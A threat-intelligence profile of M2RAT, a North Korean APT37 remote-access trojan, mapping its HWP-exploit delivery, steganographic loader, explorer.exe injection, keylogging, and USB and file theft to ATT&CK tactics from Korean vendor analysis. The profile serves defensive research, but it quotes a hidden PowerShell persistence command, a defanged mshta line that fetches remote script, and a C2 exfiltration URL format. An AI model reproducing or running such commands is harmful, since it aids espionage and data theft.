M2RAT
- Type
- RAT
- Capabilities
- KeyloggingExfiltrationPersistenceDefense evasionProcess injectionReconnaissance
- Delivery
- Phishing
- Platforms
- Windows
M2RAT, also known as Map2RAT, is a Windows remote-access trojan used by the North Korean espionage group APT37, also known as RedEyes and ScarCruft. Publicly identified in February 2023, it was deployed in a January 2023 campaign targeting individuals in South Korea for intelligence collection and data theft. The infection chain used phishing emails with malicious Hangul Word Processor attachments exploiting the EPS-processing vulnerability CVE-2017-8291. Exploit shellcode retrieved a JPEG containing a steganographically concealed, XOR-encoded loader, which downloaded M2RAT and injected it into a legitimate Windows process. The attack chain established persistence through a Windows Run key that invoked PowerShell and additional remotely hosted scripts.
M2RAT supports remote command execution, process creation and termination, keylogging, periodic desktop screenshots, and file theft. It uses shared-memory sections to coordinate command handling and data collection, and transmits keystrokes and screenshots directly to its command-and-control server to limit local artifacts. It stores victim-identification and server-configuration data in the registry using XOR encoding. The malware also searches connected portable devices, removable drives, and shared folders for documents and audio recordings, stages selected files on the compromised computer, and exfiltrates them in password-protected RAR archives. Its collection of connected-device data occurs through the infected Windows host rather than through a demonstrated native mobile variant.
Associated vulnerabilities
1 CVE Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
Associated threat actors
2 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
이번에도 RedEyes 그룹의 M2RAT 악성코드 공격 과정 중 “2.3. 지속성 유지 (Persistence)” 과정에서 사용된 명령어가 동일하게 확인되었다.
Techniques & procedures
29 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
1 technique
Initial Access
The recent attacks observed by ASEC started in January 2023, when the hacking group sent phishing emails containing a malicious attachment to their targets.
Execution
8 techniques
Execution
task 10분 간격으로 반복 실행하는 작업 스케줄 등록
The M2RAT backdoor acts as a basic remote access trojan that performs keylogging, data theft, command execution, and the taking of screenshots from the desktop.
등록된 레지스트리 키에 의해 시스템이 부팅할 때 마다 피해 호스트 PC에서는 파워쉘과 윈도우 정상 유틸리티인 mshta가 실행된다... JS 코드는 파워쉘 명령을 실행하며 공격자 서버로 부터 명령을 전달받아 실행하고, 결과를 전달하는 기능을 수행한다.
값 : c:\windows\system32\cmd.exe /c PowerShell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass ...
해당 URL 에는 JS(JavaScript) 코드가 포함되어 있으며, 해당 코드는 인코딩된 파워쉘 명령어를 실행하는 기능을 수행한다.
M2RAT의 경우 공유 메모리 섹션을 생성하여 공격자 서버로부터 원격 제어 명령을 실행한다... CMD 명령은 공유 메모리를 통해 전달이되며, 메모리 섹션의 이름 정보는 다음 [표 2]와 같다.
RedEyes 공격 그룹(also known as APT37, ScarCruft)이 한글 EPS 취약점(CVE-2017-8291)을 통해 악성코드를 유포... 사용자가 문서 파일(“양식.hwp”) 열람 시 취약점에 의해 써드-파티 모듈에서 공격자의 쉘코드가 동작한다.
공격자는 국내 이슈가 되는 주제를 통해 사용자의 궁금증을 유발하여 악성 파일을 실행하도록 유도한다.
Persistence
3 techniques
Persistence
task 10분 간격으로 반복 실행하는 작업 스케줄 등록
M2RAT에 감염될 경우 레지스트리 “HKCU\Software\OneDriver” 경로의 “Version” 값에 MAC 주소를 0x5C로 인코딩(XOR) 하여 저장한다... “Property” 값에 0x5C로 XOR 인코딩하여 저장한다.
기존에는 mshta 명령어를 CHM 파일(hh.exe)에서 바로 실행하던 방식이였지만, 최근 유포되는 파일에서는 RUN 키에 해당 명령어를 등록하여 시스템이 재부팅될 때 실행하도록 변경되었다.
Privilege Escalation
3 techniques
Privilege Escalation
task 10분 간격으로 반복 실행하는 작업 스케줄 등록
실행된 PE 파일의 기능은 추가 백도어 악성코드(M2RAT)를 다운로드하여 explorer.exe에 인젝션하고... 최종 실행되는 백도어는 explorer.exe에 인젝션되어 동작한다.
기존에는 mshta 명령어를 CHM 파일(hh.exe)에서 바로 실행하던 방식이였지만, 최근 유포되는 파일에서는 RUN 키에 해당 명령어를 등록하여 시스템이 재부팅될 때 실행하도록 변경되었다.
Stealth
5 techniques
Stealth
이미지 파일은 정상 JPEG 헤더와 PE 파일 디코딩에 필요한 메타 데이터(XOR 키, 파일 사이즈), 인코딩된 PE 파일로 이루어져 있다. PE 디코딩은 16바이트 xor 키를 이용하여 한 바이트씩 xor 한다.
공격자는 악성코드를 이미지에 포함하는 스테가노그래피 기법을 사용하였으며 이는 네트워크 탐지 회피를 위해 사용한 기법으로 추정된다.
최종 디코딩된 PE 파일은 %temp%경로에 lskdjfei.exe 이름으로 생성 및 실행된다.
실행된 PE 파일의 기능은 추가 백도어 악성코드(M2RAT)를 다운로드하여 explorer.exe에 인젝션하고... 최종 실행되는 백도어는 explorer.exe에 인젝션되어 동작한다.
... || mshta hxxps://www.*****elearning.or[.]kr/popup/handle/1.html
Defense Impairment
1 technique
Defense Impairment
M2RAT에 감염될 경우 레지스트리 “HKCU\Software\OneDriver” 경로의 “Version” 값에 MAC 주소를 0x5C로 인코딩(XOR) 하여 저장한다... “Property” 값에 0x5C로 XOR 인코딩하여 저장한다.
Credential Access
1 technique
Credential Access
백도어의 주요 기능은 키로깅... TypingRecordInputMap2 키로깅 데이터 유출
Discovery
4 techniques
Discovery
파워쉘이 공격자 서버 주소에 “U” 파라미터를 추가하여 컴퓨터 이름과 유저 이름을 전달하면...
ProcessInputMap2 프로세스 리스트 확인, 프로세스 생성/종료
파워쉘이 공격자 서버 주소에 “U” 파라미터를 추가하여 컴퓨터 이름과 유저 이름을 전달하면...
FileInputMap2 (A:\ ~ Z:\) 드라이브 파일 탐색, 파일 생성/쓰기, 파일 읽기, 파일 시간 변경
Collection
4 techniques
Collection
UsbCheckingInputMap2 USB 데이터 유출 (hwp,doc,docx,xls,xlsx,ppt,pptx,cell,csv,show,hsdt,mp3,amr,3gp,m4a,txt,png,jpg,jpeg,gif,pdf,eml)
백도어의 주요 기능은 키로깅... TypingRecordInputMap2 키로깅 데이터 유출
M2RAT의 정보 유출 기능은 피해 호스트 화면 캡쳐... 먼저 화면 캡쳐의 경우 공격자가 명령을 내리지 않더라도, 주기적으로 캡쳐하여 공격자 서버에 전송하며...
dir 특정 경로의 폴더를 압축하여 C&C 서버에 전송 후 삭제
Command and Control
4 techniques
Command and Control
디코딩된 파워쉘 명령어는 지속성을 위한 RUN 키 등록, 공격자 서버로부터 명령어 수신, 명령 실행 결과 전달의 기능을 수행하는 백도어 유형이다.
M2RAT의 C&C 통신 명령체계는 공격자 서버로부터 POST 메소드의 Body로 명령을 전달받으며... hxxps://www.*******elearning.or[.]kr/popup/handle/log.php? U=[컴퓨터이름]+[유저이름] ... R=[BASE64 인코딩]
명령어에 따라 파일 업로드 및 다운로드, 특정 파일 정보 전송, 레지스트리 편집 등 다양한 악성 행위를 수행할 수 있다.
공격자 서버는 실행할 CMD 명령을 BASE64로 인코딩하여 피해 호스트에 전달한다. 인코딩된 BASE64 명령어는 파워쉘이 다시 디코딩하여 실행하고, 명령 실행 결과는 ... 공격자 서버에 ... BASE64로 인코딩한 상태로 전달한다.
Exfiltration
1 technique
Exfiltration
명령 실행 결과는 ... 공격자 서버에 “R” 파라미터를 추가하여 ... 전달한다... 화면 캡쳐의 경우 ... 공격자 서버에 전송... 문서와 음성 녹음 파일 ... 압축한 뒤 결과를 공격자 서버에 전송한다.
Observables
13 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
6 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.